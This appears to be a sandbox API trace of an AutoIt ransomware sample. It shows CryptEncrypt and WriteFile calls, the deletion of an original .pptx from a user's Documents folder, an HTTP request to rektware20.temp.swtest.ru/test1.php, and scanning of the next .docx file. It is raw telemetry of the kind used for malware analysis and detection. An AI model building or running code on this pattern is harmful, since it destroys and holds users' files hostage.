PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.673] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.673] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.674] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.674] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x187a4, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x187b0) returned 1 [0071.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.675] CharLowerBuffW (in: lpsz="byte[100273]", cchLength=0xc | out: lpsz="byte[100273]") returned 0xc [0071.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.678] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.678] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.680] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.680] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1811a80*, pdwDataLen=0x130e618*=0x187a4, dwBufLen=0x187b0 | out: pbData=0x1811a80*, pdwDataLen=0x130e618*=0x187b0) returned 1 [0071.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.683] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.683] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.683] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.683] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.683] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.683] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.684] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.684] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.694] WriteFile (in: hFile=0x3bc, lpBuffer=0x4e30048*, nNumberOfBytesToWrite=0x187b0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e30048*, lpNumberOfBytesWritten=0x130f01c*=0x187b0, lpOverlapped=0x0) returned 1 [0071.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.696] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.696] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.696] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.696] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.696] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.697] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.697] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0071.697] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.697] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.697] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.697] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.697] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.698] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.698] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.698] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.698] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.698] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.698] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.698] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.699] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.699] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.699] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.699] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.699] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.699] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.699] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.699] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.699] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.699] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.699] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.699] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.700] CryptReleaseContext (hProv=0x17aaa28, dwFlags=0x0) returned 1 [0071.700] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.700] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.700] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.700] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.700] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.700] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.700] CloseHandle (hObject=0x2ac) returned 1 [0071.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.700] CloseHandle (hObject=0x3bc) returned 1 [0071.702] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.704] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.704] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", lpFilePart=0x0) returned 0x35 [0071.704] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tl4nilvufvf8-7ew.pptx")) returned 0x20 [0071.704] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c830 [0071.704] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tl4nilvufvf8-7ew.pptx")) returned 1 [0071.706] FindNextFileW (in: hFindFile=0x164c830, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.707] FindClose (in: hFindFile=0x164c830 | out: hFindFile=0x164c830) returned 1 [0071.707] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.707] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.707] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.707] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.707] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.707] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.708] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.708] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.708] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.708] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.708] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.708] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ef8c) returned 1 [0071.708] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.708] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.708] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.709] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.709] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.709] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.709] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.709] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.709] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.709] CloseHandle (hObject=0x0) returned 0 [0071.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\weFosa.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 